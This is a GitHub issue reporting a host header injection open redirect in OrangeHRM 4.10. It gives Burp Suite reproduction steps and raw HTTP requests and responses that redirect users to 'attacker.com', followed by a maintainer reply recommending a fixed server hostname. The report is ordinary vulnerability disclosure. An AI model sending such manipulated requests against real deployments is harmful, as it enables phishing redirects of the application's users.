New issue

Jump to bottom

Host header injection redirect vulnerability #1175

Closed **vulf** opened this issue on Mar 10 · 2 comments

Labels env-configuration

vulf commented on Mar 10

Environment details
OrangeHRM version: 4.10
OrangeHRM source: Release build from Sourceforge or Git clone
Platform: Ubuntu
PHP version: 7.3.33
Database and version: MariaDB 10.3
Web server: Apache 2.4.52

If applicable:
Browser: Firefox

Describe the bug
When an authenticated user submits the "Personal Details" form, a 302 redirect to the "Personal Details" URL is sent in the response. Following is a request and its response—

```
POST /symfony/web/index.php/pim/viewPersonalDetails HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
Origin: http://localhost
Connection: close
Referer: http://localhost/symfony/web/index.php/pim/viewMyDetails
Cookie: Loggedin=True; _orangehrm=1ba9si14k85n5cfdc39frt4mis
Upgrade-Insecure-Requests: 1

personal%5B_csrf_token%5D=f80390168c630daa51a6ed85467cad78&personal%5BtxtEmpID%5D=2&personal%5BtxtEmp
mm-dd&personal%5BoptGender%5D=1&personal%5BcmbMarital%5D=Single&personal%5BcmbNation%5D=0
```

Response:

```
HTTP/1.1 302 Found
Date: Wed, 09 Mar 2022 05:49:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://localhost/symfony/web/index.php/pim/viewPersonalDetails/empNumber/2
Content-Length: 148
Connection: close
Content-Type: text/html; charset=utf-8
```

It was noticed that upon manipulating the Host header, in the POST request, to an arbitrary domain, it was possible to inject the Host header into the URL redirection in the 302 response. A user would then be redirected to the arbitrary domain. For example, the domain "example.com" can be passed as the value of the Host header in the POST request. The resulting 302 response redirects the user to http://example.com/symfony/web/index.php/pim/viewPersonalDetails/empNumber/2. Due to the nature of this vulnerability, it can be used in phishing attacks.

Following are the endpoints in the OrangeHRM application that are vulnerable to the Host Header Injection Redirect vulnerability:

1. /symfony/web/index.php/pim/viewPersonalDetails
2. /symfony/web/index.php/auth/validateCredentials

To Reproduce

1. Login to the OrangeHRM application
2. Navigate to "My Info"
3. Under "Personal Details", click on "Edit"
4. Turn on Intercept in Burp Suite (or any other web proxy)
5. Click on "Save"
6. Change the value of the `Host` header to `attacker.com`
7. Click on Forward in Burp and turn off Intercept
8. You will notice that the page gets redirected to `http://attacker.com/symfony/web/index.php/pim/viewPersonalDetails/empNumber/X`

Expected behavior
A 404 error.

What do you see instead:
A 302 redirect to the malicious domain.

Screenshots

```
POST /symfony/web/index.php/pim/viewPersonalDetails HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 389
Origin: http://localhost
Connection: close
Referer: http://localhost/symfony/web/index.php/pim/viewMyDetails
Cookie: Loggedin=True; __test=1; _orangehrm=c346b4qucuabou86322tpvsfi2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

personal%5B_csrf_token%5D=ef180e4cbdeb188ae4c667236c45fa11&personal%5BtxtEmpID%5D=1&personal%5BtxtEmpFirstName%5D=asdf&personal%5BtxtEmpMiddleName%5D=&
personal%5BtxtEmpLastName%5D=asdf&personal%5BtxtEmployeeId%5D=0001&personal%5BtxtOtherID%5D=&personal%5BtxtLicenNo%5D=&personal%5BtxtLicExpDate%5D=yyyy-mm-dd&
personal%5BcmbMarital%5D=&personal%5BcmbNation%5D=0&personal%5BDOB%5D=yyyy-mm-dd
```

```
HTTP/1.1 302 Found
Date: Thu, 10 Mar 2022 13:18:38 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1d PHP/7.3.33
X-Powered-By: PHP/7.3.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://attacker.com/symfony/web/index.php/pim/viewPersonalDetails/empNumber/1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 148
Connection: close
Content-Type: text/html; charset=utf-8

<html>
  <head>
    <meta http-equiv="refresh" content="0;url=http://attacker.com/symfony/web/index.php/pim/viewPersonalDetails/empNumber/1"/>
  </head>
</html>
```

samanthajayasing... commented on Mar 22 — Member

Hi **@vulf**
It's recommended to deploy the application with the valid hostname

```
eg: nginx
server {
    listen 80 default_server;
    server_name mydomain.com;
   ...
}
```

samanthajayasinghe added the **env-configuration** label on Mar 22

samanthajayasinghe closed this as completed on Mar 22

qaisarafridi commented on Oct 7 • edited

is this eligible for bounty?

Assignees

No one assigned

Labels

env-configuration

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants